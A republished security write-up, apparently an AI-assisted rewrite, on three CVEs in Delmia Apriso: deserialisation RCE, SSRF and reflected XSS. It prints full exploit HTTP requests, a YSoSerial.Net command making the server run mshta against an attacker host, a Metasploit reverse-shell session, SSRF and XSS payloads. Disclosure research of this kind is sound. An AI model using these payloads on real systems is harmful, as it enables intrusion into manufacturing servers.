Skip to content
RCE Write-up Advanced

Multiple vulnerabilities in Delmia Apriso 2017 to 2022

The report describes three vulnerabilities in Delmia Apriso: unsafe .NET deserialization allowing authenticated remote code execution, an unauthenticated server-side request forgery, and reflected cross-site scripting. An attacker could execute code, make the server send requests to arbitrary hosts, or run JavaScript in a victim's browser.

Mehdi Elyassa Follow

Published on synacktiv.com

Multiple vulnerabilities in Delmia Apriso 2017 to 2022 CVE-2023-2141 CVE-2023-2140 CVE-2023-2139

Mehdi Elyassa, Vincent Herbulot, on synacktiv.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

Context

DELMIA Apriso is Dassault Systèmes' global manufacturing suite, described in the report as providing "global management of processes, performance, and visibility, magnifying the impact of operational improvements across the whole enterprise". Synacktiv reviewed versions 2017 to 2022 and found three classes of issue, each with its own CVE:

CVE Issue
CVE-2023-2141 Multiple unsafe .NET deserialisation vectors leading to post-authentication remote code execution
CVE-2023-2140 Server-Side Request Forgery allowing unauthenticated users to issue requests to arbitrary hosts on behalf of the server
CVE-2023-2139 Multiple Reflected Cross-Site Scripting vulnerabilities that execute JavaScript in the browser context of tricked users

The affected versions and remediation packages are published by Dassault Systèmes in a dedicated knowledge base article (docid QA00000103237) and on their advisories page.

Setup

The deserialisation issues are post-authentication: the requests carry an ASP.NET_SessionId, a WebPortalSession and a .ASPXAUTH cookie. The SSRF needs no authentication at all. The second XSS endpoint requires prior user authentication.

The tooling named in the report is dotPeek for decompiling the .NET assemblies, YSoSerial.Net for generating serialised gadgets, and Metasploit's hta_server module for the second stage. The target host is referred to as [redacted].

Finding it

Serialisation in Apriso is handled by a custom class, FlexNet.Apriso.ClientComponents.Shared.SvlShared.Serializable, which wraps the BinaryFormatter class. Microsoft's own guidance, quoted in the report, is blunt: "The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can't be made secure."

Decompiling with dotPeek locates the class in FlexNet.Apriso.ClientComponents.Shared.dll:

C#
// Type: FlexNet.Apriso.ClientComponents.Shared.SvlShared.Serializable`1
// Assembly: FlexNet.Apriso.ClientComponents.Shared, Version=[redacted], Culture=neutral, PublicKeyToken=33f692327842122b
// Assembly location: DELMIA_Apriso_2019\WebSite\Downloads\MMClient\ FlexNet.Apriso.ClientComponents.Shared.dll

using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;

namespace FlexNet.Apriso.ClientComponents.Shared.SvlShared
{
    [Serializable]
    public class Serializable<T> where T: class
    {
        public string Serialize()
        {
            using (MemoryStream serializationStream = new MemoryStream())
            {
                new BinaryFormatter().Serialize((Stream) serializationStream, (object) this);
                return Convert.ToBase64String(Compress.Encode(serializationStream.ToArray()));
            }
        }

        public static T Deserialize(string data)
        {
            using (MemoryStream serializationStream = new MemoryStream(Compress.Decode(Convert.FromBase64String(data))))
                return (T) new BinaryFormatter() { Binder = ((SerializationBinder) new SvlToAprisoDeserializationBinder()) }.Deserialize((Stream) serializationStream);
        }
    }
}

Two details matter for building payloads. Serialised objects are Gzip compressed before being Base64 encoded, and deserialisation goes through a custom SvlToAprisoDeserializationBinder. The researchers identified three distinct endpoints that feed attacker-controlled data into this class.

Exploitation

Step 1: DynamicGrid endpoint

The endpoint lives at /Apriso/Portal/BusinessControls/DynamicGrid/data, and the gridConfig parameter holds serialised data that the server processes:

HTTP
POST /Apriso/Portal/BusinessControls/DynamicGrid/data HTTP/2
Host: [redacted]
Cookie: ASP.NET_SessionId=redacted; WebPortalSession=redacted; .ASPXAUTH=redacted;
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 1994
Origin: https://[redacted]
Referer: https://[redacted]/Apriso/Portal/UIService.aspx

action=get&index=0&delta=0&top=15&focusKey=&sort=inspectionplan asc&order=inspectionplan,inspectionline,characteristic,frequency,upperspecificationlimit,up percontrollimit,targetvalue,lowercontrollimit,lowerspecificationlimit,attribute,uomcode,def ectcode,workcenter,equipmentcharacteristic&width[]=NaN&width[]=150&width[]=150&width[]=150& width[]=150&width[]=150&width[]=150&width[]=150&width[]=150&width[]=150&width[]=150&width[] =150&width[]=150&width[]=150&filter_inspectionplan[]=&filter_inspectionline[]=&filter_chara cteristic[]=&filter_frequency[]=&filter_upperspecificationlimit[]=&filter_uppercontrollimit []=&filter_targetvalue[]=&filter_lowercontrollimit[]=&filter_lowerspecificationlimit[]=&fil ter_attribute[]=&filter_uomcode[]=&filter_defectcode[]=filter_workcenter[]=&filter_equipmen tcharacteristic[]=&gridConfig=H4sIAAAAAAAEAM1VXW/
[redacted][...]&grid=ctl03_ctl00_G0_G18_G20_
[redacted]

The server throws a type casting error, but the malicious deserialisation has already happened by then:

HTTP
HTTP/2 200 OK
[...]
Content-Length: 169

failed~Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'FlexNet.Apriso.ClientComponents.Shared.DynamicGrid.DynamicGridDef'.

That error is the tell: the payload is deserialised first and only then cast to the expected DynamicGridDef type, so a gadget chain executes before the cast fails.

To turn this into remote code execution, YSoSerial.Net is combined with PowerShell to produce Gzip compressed serialised gadgets. The following command generates an HTA downloader:

PowerShell
PS > $payload=(.\ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "mshta.exe http://<attacker>:8080/s.hta");$data=[Convert]::FromBase64String($payload);$ms = New-Object IO.MemoryStream;$cs = New-Object System.IO.Compression.GZipStream ($ms, [Io.Compression.CompressionMode]"Compress");$cs.Write($data, 0, $data.Length);$cs.Close(); [Convert]::ToBase64String($ms.ToArray())
H4sIAAAAAAAEAM1V3W/TMBBPltZNsnUMBAjGS8QT06q0+[redacted]+F/
xB8rVsYYoyKDuGq56+7n3+
+[redacted]/
kFsN325ibdiDeermyvrUNta7uIuJ/
[redacted]
[redacted]+y4en+[redacted]
Z0rGsIHCM6V6u1Uq8+oUjS+[redacted]/UTL/iOE7teojl0d5zpkS/
[redacted]+jjtOJSaKXCqrfA5dKqU9L+0RR0QV1Z9gd6619szP/
fekNzcAf+[redacted]+[redacted]
[redacted]
[redacted]+SrNL0yVy7+[redacted]
[redacted]/Rl4wR9ID33hoYv82W+a6YsW4ggAAA==

The command uses YSoSerial.Net with the TypeConfuseDelegate gadget and BinaryFormatter formatter, and the PowerShell block Gzips the bytes and Base64 encodes them.

When deserialised, the payload fetches a second stage that launches a reverse shell on the distant server:

Bash
$ msfconsole -x "use exploit/windows/misc/hta_server; set URIPATH s; set LHOST [redacted]; exploit -j"
set LPORT 4444; set SRVPORT 8080;

msf6 exploit(windows/misc/hta_server) >
[*] X.X.X.X hta_server - Delivering Payload
[*] Sending stage (175174 bytes) to X.X.X.X
[*] Meterpreter session 1 opened (X.X.X.X:4457 -> X.X.X.X:14401 ) at [...]

msf6 exploit(windows/misc/hta_server)> sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: IIS APPPOOL\Apriso

The session runs as the IIS application pool identity IIS APPPOOL\Apriso.

Step 2: TreeControl endpoint

The second vector is exposed at /Apriso/Portal/BusinessControls/TreeControl/data, where serialised objects can be injected through the treeConfig parameter:

HTTP
POST /Apriso/Portal/BusinessControls/TreeControl/data HTTP/2
Host: [redacted]
Cookie: ASP.NET_SessionId=redacted; .ASPXAUTH=redacted
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

data={"KeyLevelList":[{"ParentKey":"","Level":0}],"FuncInputs": {"EmployeeID":100000318,"Supervisor":true,"OrderStatuses":[1,2,3,4,5,6],"OrderTypes": [26,27]},"IsInitCall":true,"ReadAllChildren":false}&treeConfig=H4sIAAAAAAAEAM1V3W/
[redacted]/8L/[...]

The response shows the same pattern as DynamicGrid, a cast failure after deserialisation:

HTTP
HTTP/2 200 OK
[...]

{
  "Success": false,
  "Error": "Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'FlexNet.Apriso.ClientComponents.Shared.TreeControl.TreeViewDef'."
}

Step 3: sf/view/compute API endpoint

The third vector needs two requests, to /Apriso/Portal/api/sf/view/display and then /Apriso/Portal/api/sf/view/compute. The first can be triggered by browsing the user's profile under Profile > Acknowledgments. Its purpose in the attack is to generate the viewSessionId and def_BC_[*RANDOM_UUID*]_Control parameters used in the second request:

HTTP
POST /Apriso/Portal/api/sf/view/display HTTP/2
Host: [redacted]
Content-Type: application/json;charset=utf-8
Cookie: ASP.NET_SessionId=redacted; .ASPXAUTH=redacted

{
  "screenRevisionId": 278,
  "screenTitle": "NTC.PersonalDataAcknowledgements",
  "inputsObject": {
    "NoticeID": 0
  },
  "panels": [
    {
      "panel": {
        "panelId": 400,
        "viewRevisionId": 612,
        "viewName": "NTC.PersonalDataAcknowledgements"
      },
      "viewTitle": ""
    }
  ],
  "properties": {}
}

The server returns the session identifier and a serialised control value embedded in the HTML:

HTTP
HTTP/2 200 OK
[...]

{
  "panels": {
    "400": {
      "error": null,
      "html": "<div class=\"OperationContainer MainOperation [redacted]\" [...] </div><input type=\"hidden\" id=\"[redacted]\" name=\"[redacted]\" value=\"H4sIAAAAAAAEAM1V3W/[redacted][...]</script></div>",
      "viewSessionId": "400~[redacted]",
      "title": null,
      "debugInfo": null
    }
  },
  [...]
  "imports": {
    "externalUrls": [],
    "inline": null,
    "versionToken": null
  }
}

In the second request, viewSessionId and def_BC_[*RANDOM_UUID*]_Control are set to adequate values, and the unsafe deserialisation is triggered through the def_BC_[*RANDOM_UUID*]_Control parameter:

HTTP
POST /Apriso/Portal/api/sf/view/compute HTTP/2
Host: [redacted]
Content-Type: application/json;charset=utf-8
Cookie: ASP.NET_SessionId=redacted; .ASPXAUTH=redacted

[
  {
    "viewSessionId": "400~[redacted]",
    "postbackObject": {
      "filter~[redacted]~name": null,
      "filter~[redacted]~revision": null,
      "Displayfilter~[redacted]~type": null,
      "filter~[redacted]~type": null,
      "filter~[redacted]~dateacknowledged": [
        null,
        null
      ],
      "[redacted]": "H4sIAAAAAAAE[...]",
      "columns~[redacted]": "name,revision,type,dateacknowledged",
      "resize~[redacted]~name": "130",
      "resize~[redacted]~revision": "130",
      "resize~[redacted]~dateacknowledged": "130",
      "sorting~[redacted]~sort": "dateacknowledged desc",
      "pageIndex~[redacted]": "0",
      "[redacted]": "\"OK\"",
      "[redacted]": null
    }
  }
]

A similar casting error is thrown here too:

HTTP
HTTP/2 200 OK
[...]

{
  "400~[redacted]": {
    "actionCode": null,
    "defaultActionCode": null,
    "mergeOutputs": null,
    "toStackIndex": 0,
    "toScreen": null,
    "outputsObject": null,
    "debugInfo": null,
    "isError": true,
    "error": {
      "message": "Unexpected error occured. See log for details. Exception: Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'FlexNet.Apriso.ClientComponents.Shared.DynamicGrid.DynamicGridDef'.",
      "modal": false
    }
  }
}

Step 4: Server-Side Request Forgery

The application takes a URI as input and does not perform sufficient checks that it does not point to an internal resource before querying it. The vulnerable endpoint is a full read unauthenticated SSRF:

  • /Apriso/BusinessWebServices/StandardOperationInvoker.asmx?op=ExecuteSynchronously

With the following payload, requests can be forged on behalf of the Apriso server:

HTTP
POST /Apriso/BusinessWebServices/StandardOperationInvoker.asmx?op=ExecuteSynchronously HTTP/2
Host: [redacted]
Content-Type: text/xml; charset=utf-8
Soapaction: "http://tempuri.org/ExecuteSynchronously"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <ExecuteSynchronously xmlns="http://tempuri.org/">
      <parameters>
        <ExecuteRemote>true</ExecuteRemote>
        <RemoteExecutionParameters>
          <RemoteServerName>t71fbr3of4bvs4pmn73kta7osfy5mu.redacted</RemoteServerName>
          <EmployeeNo>string</EmployeeNo>
          <SelectionParameters>
            <SelectionType>Static</SelectionType>
            <OperationRevision>string</OperationRevision>
            <OperationFuid>string</OperationFuid>
            <OperationCode>123</OperationCode>
          </SelectionParameters>
          <ExecutionMode>Synchronous</ExecutionMode>
          <ScheduleParameters>
            <ExecutionTime>2010-05-24T13:46:00</ExecutionTime>
            <SynchronizationQueueName>string</SynchronizationQueueName>
            <PoolName>ok</PoolName>
            <Retries>1</Retries>
            <SleepTime>1</SleepTime><Timeout xsi:nil="true" />
          </ScheduleParameters>
          <Inputs>
            <PropertyBagItem xsi:nil="false" />
            <PropertyBagItem xsi:nil="false" />
          </Inputs>
          <Outputs>
            <PropertyBagItem xsi:nil="false" />
            <PropertyBagItem xsi:nil="false" />
          </Outputs>
          <SystemVariables>
            <PropertyBagItem xsi:nil="false" />
            <PropertyBagItem xsi:nil="false" />
          </SystemVariables>
        </RemoteExecutionParameters>
        <EmployeeID>1</EmployeeID>
        <TestRun>true</TestRun>
      </parameters>
    </ExecuteSynchronously>
  </soap:Body>
</soap:Envelope>

ExecuteRemote is set to true and RemoteServerName points at the attacker-controlled host. The application returns a protocol error trace that discloses the response to the forged request:

HTTP
HTTP/2 200 OK

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <soap:Body>
    <ExecuteSynchronouslyResponse xmlns="http://tempuri.org/">
      <ExecuteSynchronouslyResult>
        <Result>false</Result>
        <LiteralID>FlexNet.SystemServices.JobExecutor.ExecutionResult.JobExecutionFailed</LiteralID>
        <InsertionStrings>
          <string>System.ServiceModel.ProtocolException: The content type text/html of the response message does not match the content type of the binding (application/soap+xml; charset=utf8). If using a custom encoder, be sure that the IsContentTypeSupported method is implemented properly. The first 107 bytes of the response were: '&lt;html&gt;&lt;body&gt;[redacted] dlq8cpmjeizjigz&lt;/body&gt;&lt;/html&gt;'. [...]

The error message embeds the first bytes of the response body, disclosing the response to the forged request. On the controlled server, the following POST request was received from the Apriso server:

HTTP
POST /WebServices/FlexNetOperationsService.svc HTTP/1.1
Content-Type: application/soap+xml; charset=utf-8
Host: t71fbr3of4bvs4pmn73kta7osfy5mu.redacted
Content-Length: 4664
Accept-Encoding: gzip, deflate
X-Forwarded-For: redacted

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
  <s:Header>
    <a:Action s:mustUnderstand="1">http://tempuri.org/IFlexNetOperationsService/Invoke</ a:Action>
    <a:MessageID>urn:uuid:572987fd-01dc-4efc-927f-d18d75db6312</a:MessageID>
    <a:ReplyTo>
      <a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
    </a:ReplyTo>
    <a:To s:mustUnderstand="1">http://t71fbr3of4bvs4pmn73kta7osfy5mu.redacted/WebServices/ FlexNetOperationsService.svc</a:To>
  </s:Header>
  <s:Body> [...]

Step 5: Reflected Cross-Site Scripting

The application does not correctly encode user-supplied data before displaying it, so an attacker can craft hyperlinks that, once accessed by the victim's browser, insert HTML elements in the page body. A reflected injection occurs in error message rendering:

Text
https://[redacted]/Apriso/Start/logon.html?Message=Integra%3Cimg%20src=x%20onerror=alert(domain) %3Eted%20Windows%20authentication%20disabled.&ReturnUrl=https://[redacted]/apriso/apriso/&TabID=0

The Message parameter carries a URL-encoded <img src=x onerror=alert(domain)> in the logon page URL.

A second injection requiring prior user authentication was identified on the following endpoint:

Text
https://[redacted]/Apriso/Portal/ui/aaaa%3csvg%20onload%3dalert(domain)%3e

Here the path segment contains a URL-encoded <svg onload=alert(domain)>; this injection requires prior user authentication.

Root cause

The deserialisation issue is a design mistake: Serializable<T>.Deserialize hands attacker-controlled bytes to BinaryFormatter, a formatter that instantiates arbitrary types named in the stream. Deserialisation goes through a custom SvlToAprisoDeserializationBinder, and the cast to the expected type happens only after the object graph has been materialised. The three endpoints take a request parameter (gridConfig, treeConfig, def_BC_*_Control), and the resulting cast exception is returned to the client.

The SSRF comes from accepting a RemoteServerName in the ExecuteSynchronously SOAP operation and querying it without sufficient checks that it does not point to an internal resource.

The XSS comes from rendering user-supplied data (Message on the logon page, the path segment under /Apriso/Portal/ui/) without correct encoding.

Impact

  • CVE-2023-2141: an authenticated user can achieve remote code execution on the server, in the context of the IIS application pool account (IIS APPPOOL\Apriso in the demonstrated session).
  • CVE-2023-2140: an unauthenticated attacker can make the Apriso server issue requests to arbitrary hosts on its behalf.
  • CVE-2023-2139: an attacker can execute JavaScript in the browser of a tricked user; the logon page variant needs no session, the /Apriso/Portal/ui/ variant needs the victim to be authenticated.

Fix

Dassault Systèmes confirmed the vulnerabilities, started the patching process, published a dedicated knowledge base article, assigned the CVE numbers and updated the article with the final remediation packages. Remediation guidelines and patch packages are available in the knowledge base article (docid QA00000103237), and the advisories are listed at https://www.3ds.com/vulnerability/advisories. The report does not describe the code changes themselves.

Variants to test

  1. Look for other Apriso business controls that accept a Base64, Gzip-compressed parameter and return a cast error. Send a benign serialised object and watch for Unable to cast object of type in the response; a positive result means the parameter reaches BinaryFormatter before type validation.
  2. Test other SOAP operations on StandardOperationInvoker.asmx that take a remote server name or URI. Point them at a host you control and check whether your listener receives a request from the target, and whether the response body leaks back in an error message.
  3. Try the Message parameter on other error-rendering pages (logon, error, redirect handlers) with a URL-encoded <img src=x onerror=alert(domain)>; a positive result is script execution in the page context.
  4. Try path segments under /Apriso/Portal/ui/ with URL-encoded HTML tags while authenticated; a positive result is the tag being rendered rather than escaped.
  5. Check whether the deserialisation endpoints accept the payload without a valid session, to see if the post-authentication requirement can be bypassed.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 25 min read.

What happened, in plain words

DELMIA Apriso is a large piece of software made by Dassault Systèmes. Companies use it to run and watch their factories: it keeps track of manufacturing processes, performance and what is happening on the shop floor. The report quotes the vendor's own description: "DELMIA Apriso Global Manufacturing Suite provides global management of processes, performance, and visibility, magnifying the impact of operational improvements across the whole enterprise."

Security researchers at Synacktiv looked at versions of Apriso released between 2017 and 2022 and found three separate kinds of security problem. Each one was given an official identifier called a CVE, which is a public catalogue number for a known vulnerability:

CVE Issue
CVE-2023-2141 Multiple unsafe .NET deserialisation vectors leading to post-authentication remote code execution
CVE-2023-2140 Server-Side Request Forgery allowing unauthenticated users to issue requests to arbitrary hosts on behalf of the server
CVE-2023-2139 Multiple Reflected Cross-Site Scripting vulnerabilities that execute JavaScript in the browser context of tricked users

Those three phrases are dense. Here is what each means in everyday language:

  • Deserialisation is how a program turns a saved or transmitted bundle of data back into live objects in memory. Think of flat-pack furniture: a box of parts (the serialised form) is unpacked and assembled into a chair (the object). If an attacker can slip extra parts into the box, the assembly step may build something the designer never intended. In .NET, the dangerous unpacking tool is called BinaryFormatter, and it can be tricked into running code.
  • Remote code execution (RCE) means the attacker gets their own commands to run on the victim's server, as if they had a keyboard on it.
  • Server-Side Request Forgery (SSRF) means the attacker persuades the server to make a web request on their behalf. The server sits inside the company network, so it can reach internal machines the attacker cannot reach from the internet. It is like asking a receptionist to phone an internal extension and read you the answer.
  • "Reflected" means the malicious text is bounced straight back from the request into the response, usually through a link the attacker sends to the victim.

The affected versions and the fixes are published by Dassault Systèmes in a dedicated knowledge base article (docid QA00000103237) and on their advisories page.

The timeline

The report lists the dates from first contact to public disclosure:

Date Action
2022-01-17 Advisory sent to [redacted]
2022-01-19 Receipt of the email acknowledged by Dassault Systèmes.
2022-01-27 Vulnerabilities confirmed by Dassault Systèmes. Patching process started.
2022-04-22 Follow up email from Synacktiv.
2022-07-13 Dedicated KB article published by Dassault Systèmes.
2023-04-11 Follow up email from Synacktiv.
2023-04-21 Assigned CVE numbers published by Dassault Systèmes on their advisories page.
2023-04-21 Update of the KB article by Dassault Systèmes with the final remediation packages.

Before we start: the words you will keep seeing

A few concepts come up constantly in the technical part, so it is worth meeting them now.

  • A web request is what your browser sends to a website when you click a link or submit a form. It has a method (GET for fetching, POST for sending data), a path (the part after the domain, like /Apriso/Portal/...), and headers, which are small labelled lines of extra information.
  • A cookie is a small piece of text a website stores in your browser so it can recognise you on the next request. ASP.NET_SessionId, WebPortalSession and .ASPXAUTH are all cookies. .ASPXAUTH in particular is the one that proves you are logged in. When a request carries a valid .ASPXAUTH, the server treats it as coming from a logged-in user.
  • An API is a doorway a program uses to talk to another program, rather than a page meant for a human. The paths starting with /Apriso/Portal/api/ are API endpoints: they accept structured data (often JSON, a text format of curly braces, names and values) and return structured data.
  • An endpoint is simply a specific address on the server that does a specific job, like a particular counter in a large office.
  • Base64 is a way of writing arbitrary bytes using only ordinary letters, digits and a couple of symbols, so they can travel safely inside text. It looks like long strings starting with things such as H4sI. It is encoding, not encryption: anyone can decode it.
  • Gzip is a compression format, the same idea as zipping a file to make it smaller. The report notes that Apriso compresses serialised objects with Gzip before Base64 encoding them.
  • A parameter is a named value sent with a request, for example gridConfig=... or treeConfig=....
  • A gadget chain is a sequence of existing pieces of code in a program that, when triggered in the right order during deserialisation, ends up doing something harmful, such as starting a program. The attacker does not write new code into the server; they arrange existing code in a dangerous order.
  • A reverse shell is a connection the victim machine opens back to the attacker, giving the attacker a command prompt on it. "Reverse" because the direction is from inside out, which often slips past firewalls.
  • A second stage is a small first payload whose only job is to fetch a bigger one.
  • Metasploit is a well-known tool for delivering and managing such payloads; msfconsole is its command line, and meterpreter is the session you get once a payload runs.
  • IIS is Microsoft's web server. An application pool is the Windows account under which a website runs; IIS APPPOOL\Apriso is the account Apriso's website uses.

Setup and who needs to be logged in

The deserialisation issues are post-authentication: the requests carry an ASP.NET_SessionId, a WebPortalSession and a .ASPXAUTH cookie. The SSRF needs no authentication at all. The second XSS endpoint requires prior user authentication.

The tools named in the report are dotPeek, for decompiling .NET assemblies (turning compiled program files back into readable source code), YSoSerial.Net, for generating serialised gadgets, and Metasploit's hta_server module for the second stage. The target host is referred to throughout as [redacted].

Finding it: the dangerous unpacking class

Serialisation in Apriso is handled by a custom class, FlexNet.Apriso.ClientComponents.Shared.SvlShared.Serializable, which wraps the BinaryFormatter class. Microsoft's own guidance, quoted in the report, is blunt: "The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can't be made secure."

Decompiling with dotPeek locates the class in FlexNet.Apriso.ClientComponents.Shared.dll:

C#
// Type: FlexNet.Apriso.ClientComponents.Shared.SvlShared.Serializable`1
// Assembly: FlexNet.Apriso.ClientComponents.Shared, Version=[redacted], Culture=neutral, PublicKeyToken=33f692327842122b
// Assembly location: DELMIA_Apriso_2019\WebSite\Downloads\MMClient\ FlexNet.Apriso.ClientComponents.Shared.dll

using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;

namespace FlexNet.Apriso.ClientComponents.Shared.SvlShared
{
    [Serializable]
    public class Serializable<T> where T: class
    {
        public string Serialize()
        {
            using (MemoryStream serializationStream = new MemoryStream())
            {
                new BinaryFormatter().Serialize((Stream) serializationStream, (object) this);
                return Convert.ToBase64String(Compress.Encode(serializationStream.ToArray()));
            }
        }

        public static T Deserialize(string data)
        {
            using (MemoryStream serializationStream = new MemoryStream(Compress.Decode(Convert.FromBase64String(data))))
                return (T) new BinaryFormatter() { Binder = ((SerializationBinder) new SvlToAprisoDeserializationBinder()) }.Deserialize((Stream) serializationStream);
        }
    }
}

Line by line, in plain words:

  1. The first three lines are comments left by the decompiler. They say which class this is, which compiled file it came from, its version ([redacted]) and where the file sat on disk in a 2019 installation.
  2. The using lines import standard .NET building blocks: basic types, memory streams (an in-memory stand-in for a file), serialisation plumbing, and the BinaryFormatter itself.
  3. [Serializable] marks the class as something that can be turned into bytes and back.
  4. public class Serializable<T> where T: class is a generic class: it can wrap any type T, as long as T is a class.
  5. Serialize() creates an empty memory stream, asks BinaryFormatter to write this object into it, then compresses the bytes with Compress.Encode and converts the result to a Base64 string. That string is what travels in a request parameter.
  6. Deserialize(string data) does the reverse: it Base64-decodes the input, decompresses it with Compress.Decode, and hands the bytes to a BinaryFormatter to rebuild the object. It also installs a Binder, SvlToAprisoDeserializationBinder, which is meant to control which types may be created.
  7. The crucial point is that BinaryFormatter decides what to build from the bytes themselves.

Two details matter for building payloads. Serialised objects are Gzip compressed before being Base64 encoded, and deserialisation goes through the custom SvlToAprisoDeserializationBinder. The researchers identified three distinct endpoints that feed attacker-controlled data into this class.

Exploitation

Step 1: the DynamicGrid endpoint

The endpoint lives at /Apriso/Portal/BusinessControls/DynamicGrid/data. A "grid" here is a table of data shown in the web interface, and gridConfig is the parameter that carries the table's configuration, serialised with the class above. The server processes whatever is in that parameter:

HTTP
POST /Apriso/Portal/BusinessControls/DynamicGrid/data HTTP/2
Host: [redacted]
Cookie: ASP.NET_SessionId=redacted; WebPortalSession=redacted; .ASPXAUTH=redacted;
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 1994
Origin: https://[redacted]
Referer: https://[redacted]/Apriso/Portal/UIService.aspx

action=get&index=0&delta=0&top=15&focusKey=&sort=inspectionplan asc&order=inspectionplan,inspectionline,characteristic,frequency,upperspecificationlimit,up percontrollimit,targetvalue,lowercontrollimit,lowerspecificationlimit,attribute,uomcode,def ectcode,workcenter,equipmentcharacteristic&width[]=NaN&width[]=150&width[]=150&width[]=150& width[]=150&width[]=150&width[]=150&width[]=150&width[]=150&width[]=150&width[]=150&width[] =150&width[]=150&width[]=150&filter_inspectionplan[]=&filter_inspectionline[]=&filter_chara cteristic[]=&filter_frequency[]=&filter_upperspecificationlimit[]=&filter_uppercontrollimit []=&filter_targetvalue[]=&filter_lowercontrollimit[]=&filter_lowerspecificationlimit[]=&fil ter_attribute[]=&filter_uomcode[]=&filter_defectcode[]=filter_workcenter[]=&filter_equipmen tcharacteristic[]=&gridConfig=H4sIAAAAAAAEAM1VXW/
[redacted][...]&grid=ctl03_ctl00_G0_G18_G20_
[redacted]

What each part does:

  1. The first line says this is a POST to the DynamicGrid data endpoint, over HTTP/2 (a modern version of the web protocol).
  2. Host names the server being addressed.
  3. The Cookie line carries the three cookies that identify a logged-in session. This is why the issue is post-authentication: without them, the server would not process the request as a logged-in user.
  4. User-Agent and Content-Type describe the browser and say the body is form-encoded, the same format a normal HTML form produces.
  5. Content-Length is the size of the body, Origin and Referer say where the request came from, which the server may check.
  6. The body is one long line of name=value pairs joined by &. Most of them are ordinary grid settings: which page, how many rows, column widths, filters. The interesting one is gridConfig, whose value starts with H4sI, the signature of a Gzip-compressed, Base64-encoded blob. That is where the malicious serialised object goes.

The server throws a type casting error, but the malicious deserialisation has already happened by then:

HTTP
HTTP/2 200 OK
[...]
Content-Length: 169

failed~Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'FlexNet.Apriso.ClientComponents.Shared.DynamicGrid.DynamicGridDef'.

This response is the proof. A "cast" is asking the program to treat one thing as another type, like insisting a box is a chair. The server tried to treat the deserialised object as a DynamicGridDef and failed. The failure comes after the unpacking, so any code the object triggered has already run. The error message is the tell that the payload was processed.

To turn this into remote code execution, YSoSerial.Net is combined with PowerShell to produce Gzip compressed serialised gadgets. The following command generates an HTA downloader (an HTA is a file Windows can run as a small application):

PowerShell
PS > $payload=(.\ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "mshta.exe http://<attacker>:8080/s.hta");$data=[Convert]::FromBase64String($payload);$ms = New-Object IO.MemoryStream;$cs = New-Object System.IO.Compression.GZipStream ($ms, [Io.Compression.CompressionMode]"Compress");$cs.Write($data, 0, $data.Length);$cs.Close(); [Convert]::ToBase64String($ms.ToArray())
H4sIAAAAAAAEAM1V3W/TMBBPltZNsnUMBAjGS8QT06q0+[redacted]+F/
xB8rVsYYoyKDuGq56+7n3+
+[redacted]/
kFsN325ibdiDeermyvrUNta7uIuJ/
[redacted]
[redacted]+y4en+[redacted]
Z0rGsIHCM6V6u1Uq8+oUjS+[redacted]/UTL/iOE7teojl0d5zpkS/
[redacted]+jjtOJSaKXCqrfA5dKqU9L+0RR0QV1Z9gd6619szP/
fekNzcAf+[redacted]+[redacted]
[redacted]
[redacted]+SrNL0yVy7+[redacted]
[redacted]/Rl4wR9ID33hoYv82W+a6YsW4ggAAA==

What this does, piece by piece:

  1. .\ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "mshta.exe http://<attacker>:8080/s.hta" runs YSoSerial.Net. -g TypeConfuseDelegate picks the gadget chain, -f BinaryFormatter picks the formatter the target uses, and -c sets the command that should run when the object is deserialised. Here the command starts mshta.exe, a Windows program that runs HTA files, and points it at a file on the attacker's machine.
  2. $payload=(...) stores YSoSerial's output, which is a Base64 string, in a variable.
  3. [Convert]::FromBase64String($payload) turns that text back into raw bytes.
  4. New-Object IO.MemoryStream creates an in-memory buffer, and New-Object System.IO.Compression.GZipStream (..., "Compress") wraps it in a Gzip compressor.
  5. $cs.Write($data, 0, $data.Length) writes the bytes into the compressor, and $cs.Close() finishes the compression.
  6. [Convert]::ToBase64String($ms.ToArray()) turns the compressed bytes back into text, which is the value that goes into gridConfig.

The point of the PowerShell step is to match what Serializable.Deserialize expects: Base64 text that decodes to Gzip-compressed bytes. The long H4sI... string printed underneath is the result, ready to paste into the request.

When deserialised, the payload fetches a second stage that launches a reverse shell on the distant server:

Bash
$ msfconsole -x "use exploit/windows/misc/hta_server; set URIPATH s; set LHOST [redacted]; exploit -j"
set LPORT 4444; set SRVPORT 8080;

msf6 exploit(windows/misc/hta_server) >
